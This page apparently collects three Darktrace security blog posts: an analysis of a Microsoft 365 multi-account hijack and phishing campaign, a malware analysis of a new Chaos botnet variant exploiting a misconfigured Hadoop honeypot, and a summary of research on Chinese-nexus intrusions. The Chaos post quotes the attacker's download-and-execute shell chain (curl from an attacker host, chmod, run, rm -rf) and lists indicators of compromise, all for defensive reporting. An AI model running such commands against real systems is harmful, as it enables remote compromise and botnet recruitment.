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June 9, 2021

Multi-Account Hijack Detection with AI

Discover the analysis of a sophisticated SaaS-based attack using Microsoft 365 accounts. Learn how attackers launch & maintain their offensive strategies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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09
Jun 2021

The widespread and rapid adoption of Software-as-a-Service (SaaS) has opened up a breadth of security risks for IT teams. Unlike commercial off-the-shelf (COTS) software, SaaS security tends to be managed by third-party vendors rather than the end customer. Security teams therefore struggle with reduced visibility and control over these environments, and cyber-criminals have been quick to take advantage, launching a wave of cloud-based attacks, from Vendor Email Compromise to internal account hijacks.

Attackers often gain access to multiple accounts on the same domain, enabling them to attack from multiple angles, for example sending of hundreds of emails from one account, while maintaining persistence with another. This gives the hacker an opportunity to try multiple attack vectors, using tools native to the SaaS environment as well as external payloads.

While preventative controls such as Multi-Factor Authentication (MFA) provide an extra layer of protection, there are many techniques available to circumvent zero-trust approaches. Remote and flexible working is set to continue to varying degrees across many different regions and industries, so companies must now commit to securing their cloud architecture and developing proactive cyber security measures.

In this blog, we will analyze a persistent cyber-attack which targeted a real estate company in Europe and leveraged several compromised Microsoft 365 accounts. These SaaS takeovers are quickly becoming the new norm, but they are still misunderstood and poorly documented in the wider industry. Cyber AI detected every stage of this intrusion in real time, without the use of signatures or static rules.

A and B: Hijacking Microsoft 365 accounts

The organization had around 5,000 devices in its environment, with 1,000 active SaaS accounts. The timeline below shows how the threat actor leveraged the SaaS accounts of five different users to carry out the operation, as well as exploiting several other accounts on the final day.

Figure 1: Diagram of the infection chain, which occurred over three days. On the fourth day, the attacker tried again but was unsuccessful.

The actor initially compromised at least two SaaS credentials – which we’ll refer to here simply as ‘account A’ and ‘account B’ – and logged in from several unusual geographical locations, presumably using a VPN. Darktrace detected this as unusual login events for the SaaS accounts.

In account A, the attacker was observed previewing files likely to contain customer information, but did not perform any other follow-up activity. In account B, they set a new inbox rule three hours after the initial compromise, resulting in a high-severity alert.

At around this time, the threat actor sent a number of phishing emails from account B: emails that appeared to be sharing a harmless and legitimate-looking folder on OneDrive. The link probably led to a fake Microsoft login page, similar to the below, which could have recorded the victims’ credentials and sent them directly back to the attacker.

Figure 2: A seemingly legitimate Microsoft login page.

The phishing attempt was detected by Antigena Email, Darktrace’s email security technology. Antigena was in passive mode at the time, and so was not configured to take action on these threatening emails. But taking into account the highly anomalous sender surge coupled with the unusual login locations, it would have autonomously intercepted all the emails, reducing the impact of the attack.

The attacker was subsequently locked out of account B. After this, they tried (and failed) to use a legacy user agent to bypass any MFA which may have been enforced on the account. Darktrace detected this as a suspicious login and blocked the attempt.

Accounts C, D and E: The threat develops

The next day, the actor logged into a new account (account C) from the same autonomous system number (ASN), indicating that the account had been infected by the OneDrive phishing emails. In other words, the attacker had leveraged account B to compromise new users in the organization and ensure multiple points of intrusion.

Darktrace detected each stage of this, piecing together the different events into one meaningful security narrative.

Figure 3: Anomalous activity from accounts C, D, and E.

Account C was then used to preview a file likely containing contact information.

After being locked out of account C when trying to log in the next day, the hacker worked their way through two more accounts (account D and account E), which they had hijacked in the previous phishing attempts. They were locked out each time after generating alerts due to the unusual logins and new inbox rules created around the same time.

A to Z: End of the line

Running out of options, the attacker decided to go back to account A and set a new inbox rule, using it to send new phishing emails with a link to a non-Microsoft cloud storage domain (Tresorit). Again, Darktrace recognized this as highly unusual behavior, and the hacker was promptly locked out of the account.

During this burst of activity, Darktrace also observed a Microsoft Teams session from one of the suspicious ASNs. This was likely a social engineering attempt and another possible attack vector. Microsoft Teams could have been leveraged to share a malicious link over instant message, extract sensitive information, or send spam internally and externally on the chat function.

The threat actor could have then used this to pivot across various applications and accounts, assuming that the company had a siloed security approach – with different tools for cloud, SaaS, email, and endpoint – and so could not pick up on the malicious cross-platform movement.

On the following day, the attacker attempted logins on multiple accounts again, but with no success. Cyber AI had pinpointed all the anomalous activity – no matter where it originated – and alerted the security team immediately.

SaaS attack under the microscope

Multi-account compromises can be incredibly persistent and are difficult for traditional security tools to identify. The hacker used several tactics to circumvent the customer’s existing email security products:

  1. The initial use of two compromised credentials – account A and account B – allowed the hacker to stay under the radar and not raise too much suspicion on a single account. Account A was kept quiet until other avenues had been exhausted.
  2. Activity was generated from multiple ASNs in at least three different geographical locations, probably utilizing a VPN: one in Africa where much of the activity originated, and two in North America, including some widely used ASNs which were highly unusual for the customer.
  3. The attacker entirely used Microsoft services until the final emails, choosing to ‘live off the land’ rather than sending links that may have been caught by gateways.
  4. The attacker logged into Microsoft Teams in their final movements – a fairly benign-looking event which could have been used to compromise more accounts and move laterally, and would have gone undetected.

Darktrace identified every stage of the attack – including spotting the anomalous ASNs – and launched an automatic, in-depth investigation with Cyber AI Analyst. The organization was thus able to take action before the damage was done.

Figure 4: Darktrace’s SaaS console gives a clear overview of activity across all different applications.

ABCs of SaaS security

The approach of using various accounts to mount the offensive, while keeping one to maintain persistence, prolonged this intrusion. Such tactics will likely be seen again in the near future.

Tracking the number of factors involved in an attack with multiple credentials, multiple attack vectors, and multiple attacker-IPs, is a serious challenge. In these situations, it is essential to have a security solution which can detect activity across different applications, forming a unified and holistic understanding over the entire digital enterprise.

While not active in this case, Antigena SaaS would have taken autonomous action and prevented the threat from escalating by enforcing normal behavior, stopping the hacker from logging in from malicious infrastructure or performing any out-of-character SaaS actions, such as creating new inbox rules.

Following the intrusion, the company decided to adopt Antigena SaaS, which now mitigates their cloud security risks and guards against sensitive data loss and reputational damage.

Thanks to Darktrace analyst Daniel Gentle for his insights on the above threat find.

Darktrace model detections:

  • SaaS / Compromise / Unusual Login and New Email Rule
  • SaaS / Compliance / New Email Rule
  • SaaS / Unusual Activity / Unusual External Source for SaaS Credential Use
  • SaaS / Access / Suspicious Login Attempt
  • Antigena Email: Unusual Login Location + Sender Surge
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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